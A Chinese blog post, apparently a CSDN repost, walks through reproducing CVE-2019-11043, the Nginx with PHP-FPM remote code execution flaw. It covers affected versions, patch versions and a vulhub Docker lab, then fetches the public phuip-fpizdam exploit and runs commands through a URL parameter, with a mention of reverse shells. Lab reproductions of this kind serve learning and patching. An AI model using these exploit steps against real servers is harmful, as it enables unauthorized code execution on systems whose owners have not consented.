php定时执行代码漏洞_PHP远程代码执行漏洞(CVE201911043)复现

本文详细介绍了PHP的CVE-2019-11043漏洞,这是一个影响Nginx + PHP-FPM服务器的远程代码执行问题。当特定配置的Nginx与PHP版本7.0至7.3结合时,攻击者可以利用%0a字符触发漏洞。文章提供了实验环境的搭建过程,包括Docker的配置和漏洞复现步骤,包括使用go环境的exp进行攻击演示。
摘要由CSDN通过智能技术生成

74f9344bc8ab0e24fc536cd62ad21ef4.gif

漏洞详情
漏洞说明#

‍‍‍‍‍‍是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。

向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。

该漏洞需要在nginx.conf中进行特定配置才能触发

‍‍‍‍‍‍ 漏洞编号#

CVE-2019-11043

影响范围#

在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:

PHP 7.0 版本

PHP 7.1 版本

PHP 7.2 版本

PHP 7.3 版本

修复建议# 将PHP 7.1.X更新至7.1.33  将PHP 7.2.X更新至7.2.24 将PHP 7.3.X更新至7.3.11  

实验环境

攻击机:kali 2020.2

靶机:CentOS Linux7

项目地址:

https://github.com/vulhub/vulhub

3a0adca4008d25caa6889f8b50d4e84a.png

基础环境搭建

    安装docker

curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repoyum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpmyum install docker-cesystemctl start docker

    更换镜像源

vi /etc/docker/daemon.json

    修改文件内容,镜像源地址可以用阿里云的镜像地址,百度的镜像源会有一个包下载很慢。自己登陆阿里云获取

{        "registry-mirrors": ["https://xxxxx.mirrors.aliyun.com"]}

14d0636343e4d1ca71d7d0157c716148.png

保存退出之后,重新加载配置,重启docker

systemctl daemon-reloadsystemctl restart docker

摘取镜像

docker pull busybox

成功打印出"hello world"说明配置成功

docker run busybox echo “hello world”

到此docker配置完成

接下来部署实验环境

3a0adca4008d25caa6889f8b50d4e84a.png

实验环境搭建

项目地址

https://github.com/vulhub/vulhub

下载后上传至任意目录,进入目录

/vulhub-master/vulhub-master/php/CVE-2019-11043

启动docker编译

docker-compose up -d
dae857ac71392bcdc21a946cdf68074f.png

PS

很多人pip装不上,这里的方法亲测有效;

yum install -y python38wget https://bootstrap.pypa.io/get-pip.pysudo  python3 get-pip.pypip -versionpip install docker-compose

litbaiZhang

启动环境之后,就可以看到漏洞环境的默认页面。在此为http://127.0.0.1:8080/index.php

b9db0b54d5b54ab7128a151e11409999.png

3a0adca4008d25caa6889f8b50d4e84a.png

复现步骤

首先kali安装go环境

wget  -c https://storage.googleapis.com/golang/go1.13.3.linux-amd64.tar.gztar -C /usr/local -xzf go1.13.3.linux-amd64.tar.gzexport PATH=$PATH:/usr/local/go/binvim 编辑/etc/profile文件最后加上export PATH=$PATH:/usr/local/go/bin执行 source /etc/profile 命令 就安装成功了

6783ebd802313f166cc0077bfadeeb28.png

下载github上公开的exp

go get github.com/neex/phuip-fpizdam

然后编译

go install github.com/neex/phuip-fpizdam

使用exp攻击demo网站

308166749f452c35023a5c87e1a60c51.png

 http://192.168.91.133:8080/index.php?a=/usr/bin/id

97d1f14e040fbd2a8db00bc88ddb0065.png

攻击成功

还可以进行shell反弹,感兴趣的可以深入研究!

3a0adca4008d25caa6889f8b50d4e84a.png

853bd1e4a30b3a4e6ad000b9fcb0b260.gif b122a0b9a306efd300dc668f76c8a97a.png

Hi  这里是白泽Sec~

如果你想了解更多公众号的信息,

欢迎关注我哦~

既然在看了,就点一下吧!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值